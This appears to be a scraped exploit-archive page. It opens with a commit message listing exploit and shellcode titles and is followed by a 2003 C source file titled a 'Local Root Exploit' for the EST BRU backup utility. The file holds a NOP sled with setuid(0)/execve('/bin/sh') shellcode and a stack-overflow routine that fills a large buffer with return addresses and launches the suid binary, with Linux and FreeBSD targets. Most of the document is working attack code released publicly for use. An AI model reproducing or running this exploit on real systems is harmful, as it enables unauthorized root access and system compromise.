
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
98 lines
No EOL
2.8 KiB
C
98 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/8215/info
|
|
|
|
It has been reported that BRU may not properly parse commandline arguments, potentially leading to at least two vectors of exploitation. It may be possible for local attackers to conduct format string-based attacks as well as buffer overflow-based attacks.
|
|
|
|
It should be noted that although BRU does not ship with the suid bit set by default, documentation within the software may instruct users to enable it.
|
|
|
|
/** EST BRU(TM) Backup and Restore Utility Local Root Exploit
|
|
**
|
|
** By: Dvdman@l33tsecurity.com
|
|
**
|
|
** Simple Stack overflow Wont say any more :P
|
|
**
|
|
** Linux & FreeBsd Targets
|
|
**
|
|
** Greetz: sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
|
|
**
|
|
** Public Release
|
|
** L33tsecurity 2003; irc.secsup.org #l33tsecurity
|
|
**/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/errno.h>
|
|
|
|
#define FUN "./bru"
|
|
|
|
char shellcode[] =
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
|
|
/* SETUID(0) SHELLCODE LINUX */
|
|
"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
|
|
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
|
|
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
|
|
"\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
|
|
|
|
unsigned long sp(void) {
|
|
__asm__("movl %esp,%eax");
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
char buffer[9000];
|
|
int x,target;
|
|
char *env[2];
|
|
char *args[24];
|
|
|
|
unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN);
|
|
|
|
int *ptr = (int *)(buffer);
|
|
if (argc != 2) {
|
|
usage();
|
|
exit(0);
|
|
}
|
|
|
|
target = atoi(argv[1]);
|
|
|
|
if (target == 0) {
|
|
for (x=0; x<9000 ; x+=4)
|
|
*ptr++ = (ret + 1);
|
|
}
|
|
|
|
if (target == 1) {
|
|
for (x=0; x<3500 ; x+=4)
|
|
*ptr++ = 0xbfbffe48;
|
|
}
|
|
|
|
/* put in env */
|
|
env[0] = shellcode;
|
|
env[1] = NULL;
|
|
|
|
|
|
args[0] = FUN;
|
|
args[1] = buffer;
|
|
args[2] = NULL;
|
|
|
|
|
|
execve (args[0], args, env);
|
|
perror ("execve");
|
|
}
|
|
|
|
|
|
int usage() {
|
|
printf("EST BRU(TM)local root exploit\n");
|
|
printf("By: Dvdman@l33tsecurity.com\n");
|
|
printf("Usage: ./ex_bru target\n");
|
|
printf("TARGET LIST:\n");
|
|
printf("0. LINUX\n1. FREEBSD\n");
|
|
return 0;
|
|
} |